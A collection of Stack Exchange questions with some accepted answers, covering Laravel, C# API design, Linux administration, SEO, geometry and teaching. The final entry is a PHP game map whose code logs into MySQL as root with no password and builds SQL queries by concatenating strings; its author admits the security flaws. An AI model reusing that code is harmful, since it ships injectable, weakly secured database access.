{  "id": "_codereview.132673"  , "question": "Controller classnamespace App\\Http\\Controllers\\Website\\SportsType;use App\\Classes\\Contract\\SportsType\\ISportsType;use \\App\\Http\\Requests\\SportsType\\SportsTypeRequest as SportsTypeRequest;class SportsTypeController extends \\App\\Http\\Controllers\\BaseController{    private $AllSportsTypes = SportsTypes;    private $sportstype;    public function __construct(ISportsType $_sportstype) {        $this->sportstype = $_sportstype;        parent::__construct();    }    public function index() {        $SportsTypes = $this->sportstype->All();        return view('SportsType.List')->with('SportsTypes', $SportsTypes);    }    public function create() {        return view('SportsType.Create');    }    public function edit($SportsTypeID) {        $SportsType = $this->sportstype->Get($SportsTypeID);        return view('SportsType.Edit', array('SportsType' => $SportsType));    }    public function save(SportsTypeRequest $request) {        $data = [            'SportsType'    =>  $request['SportsType'],            'SportsTypeID'  =>  $request['SportsTypeID'],        ];        $result = $this->sportstype->Save($data);        return redirect()->route($this->AllSportsTypes);    }}Business logic classnamespace App\\Classes\\BusinessLogic\\SportsType;use App\\Classes\\DatabaseLayer\\SportsType\\SportsTypeDb;use App\\Classes\\Contract\\SportsType\\ISportsType;class SportsTypeBL implements ISportsType {           public function All() {        $SportsTypes = (new SportsTypeDb())->All();        return $SportsTypes;    }    public function Get($SportsTypeID) {        $SportsType = (new SportsTypeDb())->Get($SportsTypeID);        if($SportsType == null) {            \\App::abort(404);            return;        }        return $SportsType;    }    public function Save($data) {        return (new SportsTypeDb())->Save($data);    }}Database classnamespace App\\Classes\\DatabaseLayer\\SportsType;class SportsTypeDb {    public function All() {        $SportsTypes = \\App\\Models\\SportsType\\SportsTypeModel::all();        return $SportsTypes;    }    public function Get($SportsTypeID) {        $SportsType = \\App\\Models\\SportsType\\SportsTypeModel                ::where('SportsTypeID', $SportsTypeID)                ->first();        return $SportsType;    }    public function Save($data) {        if($data[SportsTypeID] == 0) {            $SportsType = new \\App\\Models\\SportsType\\SportsTypeModel();        }        else {            $SportsType = $this->Get($data[SportsTypeID]);        }        $SportsType->SportsType     = $data[SportsType];        $SportsType->save();        return true;    }}Which class should have code for caching?Am I writing bad or very bad code? Can you please suggest good ways to improve it?"  , "title": "Basic CRUD in Laravel 5.2.37"  , "tags": "php;laravel"  } 
{  "id": "_codereview.113519"  , "question": "I was thinking of building a really flexible fluent API for my persistence layer. One of my goals is to achieve somehow the following result:IEnumerable<User> users = _userRepo.Use(users => users.Create(new User(MattDamon),                                                               new User(GeorgeClooney),                                                               new User(BradPitt))                                                      .Where(u => u.Username.Length > 8)                                                      .SortAscending(u => u.Username));For this, I got a few ideas, the one I like the most is the use of Command objects to defer each action on the data source until a Resolve() method is called.This my implementation of a command object: /**  * Represents an action to be executed **/ public interface ICommand<TResult> {      // The action's result (so anyone can inspect the output without executing it again)      TResult Result { get; }      // Executes the action      TResult Execute(); } public class SimpleCommand<TResult> : ICommand<TResult> {      // The action to execute      private Func<TResult> _execution;      private TResult _result;      public TResult Result { get { return _result; } }      // Creates a new command that will execute the specified function      public SimpleCommand(Func<TResult> executeFunction)      {           _execution = executeFunction;      }      public TResult Execute()      {          return (_result = _execution());      } }I would then have the following base persistence strategy:/** * Represents a persistence strategy that has deferred behaviour**/public abstract class BaseDeferredPersistenceStrategy<TSource> : IDeferredPersistenceStrategy<TSource>   where TSource : IPersistable{     protected abstract ICommand<IEnumerable<TSource>> DeferredGetAll();     // DeferredWhere and DeferredSort methods receive the previous command      // because the implementation may reuse it.      // (For example, a filter condition may be sent along the same request      // that gets all the entities, so this should reuse the previous      // command and not create a new one);     protected abstract ICommand<IEnumerable<TSource>> DeferredWhere(ICommand<IEnumerable<TSource>> previous, Expression<Func<TSource, bool>> expression);     protected abstract ICommand<IEnumerable<TSource>> DeferredSort(ICommand<IEnumerable<TSource>> previous, Expression<Func<TSource, object>> expression, bool ascending);     protected abstract ICommand<IEnumerable<TSource>> DeferredGet(IEnumerable<object> keys);     protected abstract ICommand<IEnumerable<TSource>> DeferredAdd(TSource persistable);     protected abstract ICommand<IEnumerable<TSource>> DeferredUpdate(TSource persistable);     protected abstract ICommand<IEnumerable<TSource>> DeferredDelete(IEnumerable<object> keys);     private ICollection<ICommand<IEnumerable<TSource>>> _commands;     public BaseDeferredPersistenceStrategy()     {          _commands = new HashSet<ICommand<IEnumerable<TSource>>>();     }     public BaseDeferredPersistenceStrategy<TSource> GetAll()     {          _commands.Add(DeferredGetAll());          return this;     }     public BaseDeferredPersistenceStrategy<TSource> Where(Expression<Func<TSource, bool>> expression)     {          _commands.Add(DeferredWhere(_commands.LastOrDefault(), expression));          return this;     }     public BaseDeferredPersistenceStrategy<TSource> Sort(Expression<Func<TSource, object>> expression, bool ascending = true)     {          _commands.Add(DeferredSort(_commands.LastOrDefault(), expression, ascending));          return this;     }     public BaseDeferredPersistenceStrategy<TSource> Get(params object[] keys)     {          _commands.Add(DeferredGet(keys));          return this;     }     public BaseDeferredPersistenceStrategy<TSource> Add(TSource persistable)     {          _commands.Add(DeferredAdd(persistable));          return this;     }     public BaseDeferredPersistenceStrategy<TSource> Update(TSource persistable)     {          _commands.Add(DeferredUpdate(persistable));          return this;     }     public BaseDeferredPersistenceStrategy<TSource> Delete(params object[] keys)     {          _commands.Add(DeferredDelete(keys));          return this;     }     /**      * Executes all the deferred commands in the order they were created     **/     public IEnumerable<TSource> Resolve()    {        IEnumerable<TSource> result = Enumerable.Empty<TSource>();        // If the result of the command's execution is null, it means it was not a query, so leave the result as it is.        foreach (var command in _commands) result = command.Execute() ?? result;        return result;    }}And this is one possible childs of the base class:/** * Represents a Cache Persistence Strategy**/public class CachedDeferredPersistenceStrategy<TSource> : BaseDeferredPersistenceStrategy<TSource>   where TSource : IPersistable{     private ICache<TSource> _cache;     // ICache<TSource> is injected     public CachedDeferredPersistenceStrategy(ICache<TSource> cache)     {         _cache = cache;     }     protected override ICommand<IEnumerable<TSource>> DeferredGetAll()     {         return new SimpleCommand<IEnumerable<TSource>>(() => _cache.FetchAll());     }     protected override ICommand<IEnumerable<TSource>> DeferredWhere(ICommand<IEnumerable<TSource>> previous, Expression<Func<TSource, bool>> expression)     {         Func<TSource, bool> compiledExpression = expression.Compile();         return new SimpleCommand<IEnumerable<TSource>>(() =>         {            // If the previous command was a query, then use the previous command's result. If not, then operate on all stored entities            IEnumerable<TSource> persistables = previous != null && previous.Result != null ? previous.Result : _cache.FetchAll();            return persistables.Where(compiledExpression);         });     }     protected override ICommand<IEnumerable<TSource>> DeferredSort(ICommand<IEnumerable<TSource>> previous, Expression<Func<TSource, object>> expression, bool ascending)     {         Func<TSource, bool> compiledExpression = expression.Compile();         return new SimpleCommand<IEnumerable<TSource>>(() =>         {            // If the previous command was a query, then use the previous command's result. If not, then operate on all stored entities            IEnumerable<TSource> persistables = previous != null && previous.Result != null ? previous.Result : _cache.FetchAll();            return ascending ? persistables.OrderBy(compiledExpression) : persistables.OrderByDescending(compiledExpression);         });     }     protected override ICommand<IEnumerable<TSource>> DeferredGet(IEnumerable<object> keys)    {        return new SimpleCommand<IEnumerable<TSource>>(() =>        {            string key = BuildCacheKey(keys);            TSource value = _cache.Fetch(key);            return value != null ? new [] { value } : Enumerable.Empty<TSource>();        });    }    protected override ICommand<IEnumerable<TSource>> DeferredAdd(TSource persistable)    {        return new SimpleCommand<IEnumerable<TSource>>(() =>        {            string key = BuildCacheKey(persistable);            if(!_cache.Store(key, persistable, TimeSpan.FromMinutes(10)))               throw new ArgumentException(Entity is already persisted, persistable);            return null;        });    }    // ... Remaining methods ...}This would allow me to have a persistence strategy that can be queried like this:var result = _strategy.Where(u => u.IsValid).Sort(u => u.Id).Resolve();Of course, having an even higher layer (a repository) with the following method:// IDataAccessObject<TSource> is a collection of IDeferredPersistenceStrategy<TSource>.// It delegates each action to each registered strategies.   // For instance, _dao.Create(user) will execute _cacheStrategy.Add(user), _sqlStrategy.Add(user), etc...public IEnumerable<TSource> Use(Func<IDataAccessObject<TSource>, IDataAccessObject<TSource>> operation){    return operation(_dao).Resolve();}would allow me to:var result = _userRepo.Use(users => users.Where(u => u.Username.Length > 8)                                         .SortAscending(u => u.Username));What are the advantages and disadvantages of my approach? More importantly, is it scalable? Would it take too much effort to add a new persistence strategy? Is it too generic? Is it not generic enough?"  , "title": "Using commands as deferred behaviour"  , "tags": "c#;object oriented;design patterns;api"  } 
{  "id": "_unix.152026"  , "question": "I am using latest BusyBox v1.22.1 in my target. I want to check the filesystem type using stat -f or df -T but busybox doesn't support such commands. busybox help shows stat command as supported but while executing its showing as stat: not found.How can I check the filesystem type using BusyBox?"  , "title": "Check the filesystem format with BusyBox (stat -f and df -T do not work)"  , "tags": "linux;filesystems;busybox;stat"  } 
{  "id": "_webmaster.19664"  , "question": "I registered a couple of domains, and consider buying a few more, simply because I'm afraid they would be taken by someone else and I plan to create websites for them in the distant future. Right now they point to the information page of my registrar. Could I put them to better use for the time being without much hassle? Is it worth creating very minimal domain-related content and hosting it? Would that help SEO in the future or the contrary? Is there a chance of getting some adverts for a website stub, so that I could generate some income towards hosting costs? "  , "title": "what to do with temporarily unused domains?"  , "tags": "domains"  , "accepted_answer": "You can park them but it's common for Google and Bing to remove parked domains from their indexes when they notice this. It can be a problem/delay getting a domain to re-index with new content after this happens. Note that parking doesn't typically bring in much money at all.If you want to develop these domains later, then I'd recommend creating a simple coming soon type website with about 10 pages or so of meaningful content and no ads. Another option is to redirect them to an active domain you own although this can also cause temporary indexing problems with search engines when the site goes online completely."  } 
{  "id": "_unix.302395"  , "question": "tl;dr version: I have a localdb.kdbx.tmp file on a local network drive that I can't rename/delete/copy/overwrite/open/etc. All attempts, sudo or otherwise, throw a Device or resource busy error. Running fuser and lsof shows nothing; as far as I can tell nothing is actively accessing the file and there is no associated PID or parent process. Remounting the drive with FUSE set to allow root and other users makes no difference. File permissions are normal and everything else in the directory (backups etc.) are behaving as expected.details: I have a KeePass shared database that's hosted on a local network drive shared between several on-site computers. Some of the machines run Windows, some run Linux. I'm personally using 32-bit Ubuntu 14.04 with keepass2 2.34 installed.When attempting to save some recent updates to the localdb.kdbx KP database yesterday (I was the only person accessing the file at the time), Keepass threw an error and said the database may be corrupted. I shut down my machine, assuming I could overwrite the file the next day. But when I came in and connected to the drive this morning, localdb.kdbx only existed as localdb.kdbx.tmp and no one can get it to open (KeePass specifically throws a lock violation on path error).I'd troubleshoot the issue on KeePass's forums, but we only need to be able to use the filename, so I'd be happy with just deleting it so I can recreate it from a backup. Problem is, I get a Device or resource busy error whenever I try to do anything with the file. Using lsof and fuser on the .tmp file just returns a blank with no PID, so there's nothing to kill and no way to free up the file for deletion. I thought it might be a FUSE issue and tried the solutions at How to get sudo access to shares mounted by Gigolo and WARNING: can't stat() fuse.gvfsd-fuse file system with no luck.Any tips?"  , "title": "Ubuntu: Immovable .tmp file on network drive with no PID"  , "tags": "ubuntu;networking;files;process"  , "accepted_answer": "ETA: I was mistaken; the drive is not an SMB Windows machine, but a machine running a QNAP Linux 3.2.26 build (which avahi-discover was picking up as Windows).Turned out the network drive was an SMB Windows machine (I'd mistakenly thought it was Linux) (see ETA) and the process locking the file was being run by Windows. I didn't take into account that lsof and fuser only return processes for the machine they're being run on (ie. my local machine, and not the network drive :).The network drive didn't have ssh enabled and smbclient didn't enable me to override the lock, so I asked our network admin to reboot the drive. The process terminated and I was able to delete the file.(For others' reference: I used avahi-discover to get the network drive's OS and other details.)Props to @derobert for pointing me in the direction of the server processes."  } 
{  "id": "_softwareengineering.119203"  , "question": "At the moment we are writing modules for an open source cms.We would like to sell these with a license.But which are the best options?Any suggestions and experiences."  , "title": "Which license for commercial software?"  , "tags": "php;open source;licensing"  } 
{  "id": "_cs.19525"  , "question": "I would like to be able to represent circles in x-y coordinates.Each circle contains an x and y coordinates and radius in double data type.My goal is to compare circles with each other whether they are partially or completely overlapping.I am looking for efficient ideas. Honestly the only idea that comes to my mind is draw a line(let's say l1) from x1,y1 to x2,y2 and the length of this line is larger than addition of r1 and r2 then it does not overlap, if r1+r2 =< l1 then it overlaps, but I don't know how to find whether it is completely overlapping or partially. Also this wouldn't work for cases where I am combining more than one circle."  , "title": "How to represent circles in x-y coordinates"  , "tags": "algorithms;computational geometry;modelling"  , "accepted_answer": "This answer considers two cases:the overlapping relation between two disks, which is a very simple problem.the ovelapping or covering of a disk by a set of other disks, which is somewhat harder in general.Case of two disksIt is indeed a good idea to use center and radius to represent yourcircles. However I think you are not thinking of circles, which areclosed planar lines formed of all points at a given distance $r$,called radius, of a point $c$ called the center. The planar surfaceenclosed by a circle, which also includes all points at a lesserdistance fron $c$ is called adisk (alsospelled disc).Regarding the various overlap situations for two disks, you have thefollowing test, assuming the two circles have radius $r_1$ and $r_2$(assuming witout loss of generality that $r_1\\geq r_2$), with theircenters at distance $d$ (computable from the centers coordinates,thanks to Pythagoras):$r_1+r_2<d$ : disks are disjoint, no overlap.$r_1+r_2=d$ : disks are tangent externally, a single point of overlap.$r1-r2<d<r_1+r_2$ : disks are partially overlapping.$r_1-r_2=d$ : disks are tangent internally, total overlap of disk 2 by disk 1.$d<r_1-r_2$ : disk 1 overlap totally disk 2.There can be exact overlap of each disk by the other only when$r_1=r_2 \\wedge d=0$Regarding the case of several disk, it is not clear whether you wantto see whether one distinguished disk is overlapped totally, partiallyor not at all by the others, or whether you want to check that foreach disk with everyone of the others, or possibly something else. You should make that more precise.Case of several disksThis is only a rough sketch, hopefully correct. Working out all details is a lot more work than can be included in an answer.As suggested in the question, we can represent a disk $D$ by atriple $(x,y,r)$ which gives the coordinates of the center, and the radius.Now if you have a disk $D_0=(x_0,y_0,r_0)$ and a set of disks$L=\\{D_i\\mid D_i=(x_i,y_i,r_i),\\; i\\in[1,n]\\}$, your question, asmade more precise in a comment, ishow to check whether the disks of set $L$ together overlap partially,totally or not at all the disk $D_0$.First you want to make a list of the disks in $L$ that actuallyoverlap $D_0$. For that you can simply apply the above test to $D_0$ and$D_i$ for every $D_i$ in $L$. You get a set $I\\subseteq[1,n]$ of indicessuch that D overlaps every $D_i$ for $i\\in I$.If this set $I$ is not empty, you know that $D_0$ is overlapped by $L$.The question remains of a total overlap of $D_0$ by $L$.For this, you create a new set $J\\subseteq I$ by removing indices ofdisks $D_i$ that are only externally tangent to $D_0$, overlapping it ononly one point.If $J$ is empty, you had only tangential overlapping in a finitenumber of point, but the set $L$ does not cover (fully overlap) the disk $D_0$.If $J$ is not empty, then $L$ completely overlap $D_0$ iff it does itwith the disks $D_i$ such that $i\\in J$. Tangential overlapping on asingle point cannot contribute usefully to overlapping a surface.Now, all disks in $M=\\{D_i\\mid i\\in J\\}$ overlap $D_0$ on a fragmentof its surface.If one disk in $M$ completely overlaps $D_0$, then we have an answerof complete overlap. We can now assume it is not the case.Then the problem is to find an orderly strategy to check whether thedisks in $M$ completely cover $D_0$. We will now use disks from $M$one by one, removing them from M, to cover $D_0$. The strategy is inchoosing them.We chose first a disk in M (which we remove from M), such that it is notinternally tangent to $D_0$, but intersect the edge circle of $D_0$. Theremust be at least two such disks, else $D_0$ cannot be covered, as itsperimeter circle will nor be covered except for a finite number ofpoints.We compute the two points where the two circles intersect. They definetwo arcs, one on each circle, that delimit a surface yet to be coveredby the other circles. With respect to this surface, the arc belongingto $D_0$ is convex, while the other is concave.For simplicity and intuition, we call these intersections the anglesof the remaining surface. We call sides or edges the arcs between 2angles that delimit the remaining surface to be covered.We then chose one of the two angles, and look in M for another circlecovering this intersection. This new circle removes at least thisangle, and adds usually two new angles. We discuss this further below.One remark is that the arcs coming from $D_0$ are always convex, whilethe others are always concave. This is useful to visualize what can occur.Then we repeat the same step, until there are no angles left, in whichcase we have a covering of $D_0$, which is tested first, or untilthere are no disk left in M that can cover a chosen angle, in whichcase the overlap is incomplete.To understand this we have to look at intermediate steps in moredetails. During execution of the algorithm, we may have actuallycreated an uncovered curvy polygon with many angles. When we chose anew disk $D_i$ to cover a chosen angle $A$, we may actually coverseveral angles of the polygon, and the edges in between, so that weactually reduce the number of edges.So after choosing the disk $D_i$, we have to find the first edge onboth sides of the angle $A$ (not necessarily adjacent to $A$) that areintersected by the circle bounding $D_i$. These two intersections, oneon each side, define two new angles and a new edge provided $D_i$, andmay replace several edges and angles. Hence the number of sides of thepolygon may be reduced rather than increased. It may be also that allsides are covered, in wich case we have covered the whole disk.There may be cases when the new disk will cut the curvy polygon into twopolygons, that will both have to be covered. To check for that, thecircle bounding the disk has to be checked for intersection with alledges of the curvy polygon(s).All this implies of course to keep an up-to-date description of thecurvy polygon and the relations between angles, edges and disks.To keep correspondence between the relative positions of angles, ifthey are listed counter-clockwise on the curvy polygon(s), then theyshould be counter-clockwise on the circle of the disk $D_0$ andclockwise on the disks from $M$.There are quite a few details to be worked out, which I would not trywithout at least checking an implementation. But I believe this basicidea can be implemented.From this analysis, I think the time complexity is $O(n^2)$, sinceevery steps considers a new disk, and has to look at intersectionspotentially with all disks that have already been considered.The extension to spheres is left as an exercise."  } 
{  "id": "_webmaster.74133"  , "question": "I have created a PDF presentation including links to a site I own on the last slide. So far, such links are not reported in Google Webmaster Tools. When I search Google for the presentation, I can find it. It is indexed.I know GWT can be slow at detecting backlinks, but should I expect those links to be reported in GWT? Would they be reported as SlideShare backlinks? Or not? Has anyone noticed such backlinks in their link profile?"  , "title": "Are links within SlideShare presentations indexed by search engines?"  , "tags": "google search console;search engines;indexing;backlinks;pdf"  , "accepted_answer": "this google article say linksin pdfs are crawled and can not be no followedhttp://googlewebmastercentral.blogspot.com.au/2011/09/pdfs-in-google-search-results.html"  } 
{  "id": "_unix.175148"  , "question": "I intend to start incremental backups of my Fedora 20 system, and would like to know what root directories I should include, and what directories it is useful to exclude. I know there is a lot of information on this on the 'net already, but none of it seems to answer this simple specific question. Looking at the answers already available on this site, they are useful, but so many end in etc, instead of being specific, which is not really very helpful.I assume that I needn't or shouldn't backup directories that are created or filled in by the system as it runs, for instance certainly not /run/media/Harry/CA6C321E6C32062B which is the hard drive that I will be saving the backup on. Are there any more like this?I will be using rsync in the system described here, which I have already tested on small runs. I have looked into luckyBackup as a GUI front end, but get lost in its technicalities (please see my footnote). I will use its task manager to form the command I need for rsync, when I know what files to include and exclude.In the event of a crash I envisage a re-installation of Fedora, then using the backup as a resource as I get going again, rather than trying to exactly reproduce the state just before the crash.What files should I include and exclude specifically?Footnote: In luckyBackup I do not see the way to use datestamps as in the reference I give, and I do not understand how to use the log of a dry run: why is it printed red, after some black lines at the start which I can no longer access because the log is so long?, and how do I find details of the errors to know if they matter? These are rhetorical questions, my real question is still only : what files to include and exclude, please?"  , "title": "What root directories should I back up?"  , "tags": "fedora;rsync;backup"  , "accepted_answer": "The important things are your data!  Programs (and the rest of the system) can always be re-installed from scratch from DVD and your distro's repositories.  That said, it may be a good idea to back-up /etc with your configurations (if you've done many changes) and perhaps /usr/local if you've installed many packages locally.The important stuff is /home with all your data... /var/mail or /var/spool/mail if you run a mail-server... local webpages (/var/www etc. )... and the content of your databases - MySQL, MariaDB, PostgreSQL (probably located somewhere in /var , but it may be better to do the backup with the database-server or a suitable program for dumping the databases).Of course you may make a back-up of your whole system, but since most (except /home, mail and databases) aren't likely to change much, it's hardly necessary to do incremental backups of everything.  If you have the storage-space and want to make a complete backup of the whole system, doing so once every 3rd month or so should be sufficient - as long as you do incremental back-ups of your data!  But remember, except for your data and configurations, the whole system may be reinstalled from DVD and your distro's repository; so you don't need to back it up.As for /home, mail and databases...  Do a complete backup once a month... then a backup each week with weekly changes... and then finally each day - or perhaps several times a day - changes during the last day/since the last back-up.  It depends on how much your home-directories, databases and mail changes each day and how important the data is.Alternatively, if your data changes a whole lot over just a week, you may concider making a full backup once every week (instead of monthly).  You may also concider different cycles for different type of data - eg. full backup of /home monthly, /mail daily and databases several times aday.  It depends on what services you run and how important the data are.PS: Making backup of a database that is running and therefore being changed, is a problem.  Check your options and find the best solution for you."  } 
{  "id": "_cseducators.2793"  , "question": "This is a question for those of you who have an intro class before AP Computer Science (or maybe even just an intro class). What order do you teach the topics in your intro class? I start with if statements, then go in the following order:While LoopsVariables (I do some hand-waving with variables before this point)For LoopsArraysOOPI used to start with variables a few years ago, but students seemed to have trouble getting the concept that early in the course. I'm not sure if I should go back to that now that I have more teaching experience and have a better idea of how to teach variables."  , "title": "Order to Teach Topics in an Intro Programming Class"  , "tags": "curriculum design;variables"  , "accepted_answer": "I think this depends entirely on the programming language you use. Or maybe more accurately, you should choose a language that allows you to introduce the concepts in the order you want.I would use a language called Processing, which is built on top of Java and allows you to create visual, animated programs without any boilerplate code.I'd start with calling functions. Here's an entire Processing program:ellipse(20, 30, 40, 50);This program shows a window and draws a 40x50 oval at coordinates 20,30. There are other functions in Processing. Have the students draw a basic scene.Then I'd talk about using variables. Processing has a few predefined variables that come in handy:size(500, 500);ellipse(width/2, height/2, 200, 200);This program creates a 500x500 window and shows a circle in the middle of it. Have the students modify their scenes so they stretch to fit the screen, using the width and height variables.Then I'd talk about creating variables. Have students create their own variables that allow them to move their scene around, or easily change the color, etc.Then comes creating functions. Here's an example program:void setup(){   size(500, 500);}void draw(){   ellipse(mouseX, mouseY, 25, 25);}This program shows a window that draws a circle wherever the mouse is, 60 times per second.Hopefully this gives you an idea of Processing and the general approach. From here I'd cover these topics:DebuggingIf StatementsAnimationFor LoopsArraysUser InputUsing ObjectsCreating ClassesArrayListsImagesLibrariesDeploying your codeShameless self-promotion: I've put together a series of tutorials that cover all of these topics, available at HappyCoding.io. I'd be happy to help adapt these tutorials into an introductory curriculum."  } 
{  "id": "_unix.245259"  , "question": "How do I export variables from a PHP script in Bash?I'm writing a Bash script to read database names from config.php files of each website, and then import the database from the backup repository.I tried to use source config.php but it seems it doesn't recognize PHP variables.Any help would be appreciated."  , "title": "How to read variables from a php file in bash"  , "tags": "bash;php"  , "accepted_answer": "A very simplified version would be something as follows:2 lines in config.php:cat config.php$variable1 = 'foo with bar';$variable1 = 'foo2 with bar2';Set Bash $variable1 to last matching instance of $variable1 in config.php, just in case it has been reset.  If you want to change it to the first match, simply change tail -1 to head -1 in the following code:variable1=$(grep -oE '\\$variable1 = .*;' config.php | tail -1 | sed 's/$variable1 = //g;s/;//g')Confirm Bash variable via echo:echo $variable1'foo2 with bar2'Note that this will mostly work for strings.  There are many types of PHP variables that cannot be directly converted to Bash variables.  The code above will grab the last $variable1 referenced in config.php.  Like I said, if that variable has been set multiple times, you can set to the first value or last value by toggling head or tail in the Bash command that sets the variable."  } 
{  "id": "_unix.312424"  , "question": "I want to change my OS to Linux Mint in my Windows 7 laptop without loosing any of the files in my hard disk. Please help me."  , "title": "How to install without loosing any data in my HDD"  , "tags": "linux mint;windows;system installation"  } 
{  "id": "_unix.37492"  , "question": "I need to install a linux distribution; i like the distro debian-like. I used to use ubuntu, i tryied the new version..it seems to me to be a fake of Mac OS...something just to let you say: yeee i have a dock too...:(Can you suggest me some distributions that are similar to the previous ubuntu versions?I mean professional and user friendly, not just eyecandy that use 30% CPU to open a window..."  , "title": "Suggest me a distro beetwen debian and ubuntu?"  , "tags": "distribution choice;distros"  , "accepted_answer": "Are you sure it isn't mac saying, Look we have a desktop like GNOME!.openSUSE is nice and comes in several flavours like KDE (windows like with several add-ons), gnome (like mac...), and lxde/xfce (lighweight distros).It uses an RPM based package management system with zypper (libzypp).YaST is also awesome in openSUSE. It makes system management very user-friendly.If you don't like what you see, build your own with suseStudio!Not sure if they are like 'previous ubuntu' versions. But the open source world is always advancing/changing and it doesn't hurt to adapt and learn new things."  } 
{  "id": "_webapps.60449"  , "question": "I have installed Mozilla Thunderbird, now it updated to version 24.5.0 .I am trying to download all the emails from my Gmail account to Thunderbird. The problem is that only emails from 8 August 2013 are being downloaded, whereas my actual first emails date to 17 October 2011.How can I download the remaining ( older ) emails too ?"  , "title": "Mozilla Thunderbird Get Mail doesn't get all the mail from the beginning"  , "tags": "gmail;email;thunderbird"  } 
{  "id": "_codereview.12545"  , "question": "We are building a interactive tile-based (32x32 px) (game) map where the user can move around. However we experience lag (some sort of a delay on the movement) and we need to work around this problem. The hack/lag also happen on a local server so it's not because of the traffic yet.Any suggestions how we can make the rendering of the map and performance of the map faster?DISCLAIMER: The code is fast-written, we are beware of the security issues, please do not point them outmap.php<?phpsession_start();$_SESSION['angle'] = 'up';$conn = mysql_connect('localhost', 'root', '') or die(mysql_error());mysql_select_db('hol', $conn) or die(mysql_error());$query = mysql_query(SELECT x, y FROM hero WHERE id = 1);$result = mysql_fetch_assoc($query);$startX = $result['x'];$startY = $result['y'];$fieldHeight = 10;$fieldWidth = 10;//x = 0 = 4//y = 0 = 4$sql = SELECT id, x, y, terrain FROM map WHERE x BETWEEN .($startX-$fieldWidth). AND .($startX+$fieldWidth).  AND y BETWEEN .($startY-$fieldWidth). AND .($startY+$fieldHeight);$result = mysql_query($sql);$map = array();while($row = mysql_fetch_assoc($result)) {    $map[$row['x']][$row['y']] = array('terrain' => $row['terrain']);}ob_start();echo '<table border=\\'0\\' cellpadding=\\'0\\' cellspacing=\\'0\\'>';for ($y=$startY-$fieldHeight;$y<$startY+$fieldHeight;$y++) {    echo '<tr>';    for ($x=$startX-$fieldWidth;$x<$startX+$fieldWidth;$x++) {        if ($x == $startX && $y == $startY) {        echo '<td style=width:32px; height:32px; background-image:url(\\'tiles/' . (isset($map[$x][$y]['terrain']) ? $map[$x][$y]['terrain'] : 'water') . '\\');><img src=char/medic_' . $_SESSION['angle'] . '.png alt= /></td>';        } else {        //echo '(' . $x . ',' . $y . ')';echo '<td style=width:32px; height:32px; background-image:url(\\'tiles/' . (isset($map[$x][$y]['terrain']) ? $map[$x][$y]['terrain'] : 'water') . '\\');></td>';        }    }    echo '</tr>';}echo '</table>';$content = ob_get_contents();ob_end_clean();?><!DOCTYPE html><html>    <head>        <title>Map</title>        <meta charset=utf-8>        <script type=text/javascript src=js/jquery.js></script>        <script type=text/javascript>            $(document).ready(function() {                $(document).keyup(function(e){                    if (e.keyCode == 37) {                         move(West);                        return false;                    }                    if (e.keyCode == 38) {                         move(North);                        return false;                    }                    if (e.keyCode == 39) {                         move(East);                        return false;                    }                    if (e.keyCode == 40) {                         move(South);                        return false;                    }                });                $(.direction).click(function() {                    move($(this).text());                });                function move(newDirection)                {                    var direction = newDirection;                    $.ajax({                        type: POST,                        url: ajax/map.php,                        data: { direction: direction },                        success: function(data) {                            $('#content').html(data);                        }                    });                }            /*            $(#content).click(function() {                var x = 3;                var y = 3;                $.ajax({                    type: POST,                    url: ajax.php,                    data: { x: x, y: y },                    success: function(data) {                       $('#content').html(data);                    }                });            });            */            });                </script>        <style type=text/css>td {margin: 0; border: none; padding: 0;}img{ display:block;margin:0;}            .        </style>    </head>    <body>        <div id=content><?php echo $content; ?></div>        <div class=result></div>        <button class=direction>South</button>        <button class=direction>North</button>        <button class=direction>West</button>        <button class=direction>East</button>           </body></html>ajax/map.php<?phpsession_start();$conn = mysql_connect('localhost', 'root', '') or die(mysql_error());mysql_select_db('hol', $conn) or die(mysql_error());//Get Player's current position$query = mysql_query(SELECT x, y FROM hero WHERE id = 1);$result = mysql_fetch_array($query);$current_x = $result['x'];$current_y = $result['y'];switch ($_POST['direction']) {    case 'North':        if ($current_y - 1 < 0) {            echo 'Invalid path';        }        //Next tile        $x = $current_x;        $y = $current_y - 1;        $_SESSION['angle'] = 'up';    break;    case 'South':        if ($current_y + 1 > 500) {            echo 'Invalid path';        }        $x = $current_x;        $y = $current_y + 1;     $_SESSION['angle'] = 'down';            break;    case 'West':        $x = $current_x - 1;        $y = $current_y;        $_SESSION['angle'] = 'left';    break;    case 'East':        $x = $current_x + 1;        $y = $current_y;         $_SESSION['angle'] = 'right';    break;}$result = mysql_query(SELECT walkable FROM map WHERE x = $x AND y = $y);$row = mysql_fetch_array($result);//Is the next tile walkable?if ($row['walkable'] == 1) {    //Update Player's position    mysql_query(UPDATE hero SET x=$x, y=$y WHERE id = 1);    $startX = $x;$startY = $y;} else {    $startX = $current_x;    $startY = $current_y;}$fieldHeight = 10;$fieldWidth = 10;//x = 0 = 4//y = 0 = 4$sql = SELECT id, x, y, terrain FROM map WHERE x BETWEEN .($startX-$fieldWidth). AND .($startX+$fieldWidth).  AND y BETWEEN .($startY-$fieldWidth). AND .($startY+$fieldHeight);$result = mysql_query($sql);$map = array();while($row = mysql_fetch_assoc($result)) {    $map[$row['x']][$row['y']] = array('terrain' => $row['terrain']);}ob_start();echo '<table border=\\'0\\' cellpadding=\\'0\\' cellspacing=\\'0\\'>';for ($y=$startY-$fieldHeight;$y<$startY+$fieldHeight;$y++) {    echo '<tr>';    for ($x=$startX-$fieldWidth;$x<$startX+$fieldWidth;$x++) {        if ($x == $startX && $y == $startY) {        echo '<td style=width:32px; height:32px; background-image:url(\\'tiles/' . (isset($map[$x][$y]['terrain']) ? $map[$x][$y]['terrain'] : 'water') . '\\');><img src=char/medic_' . $_SESSION['angle'] . '.png alt= /></td>';        } else {        //echo '(' . $x . ',' . $y . ')';echo '<td style=width:32px; height:32px; background-image:url(\\'tiles/' . (isset($map[$x][$y]['terrain']) ? $map[$x][$y]['terrain'] : 'water') . '\\');></td>';        }    }    echo '</tr>';}echo '</table>';$content = ob_get_contents();ob_end_clean();echo $content;"  , "title": "Improve the performance of jquery/php generated map"  , "tags": "php;performance;mysql;ajax"  } 
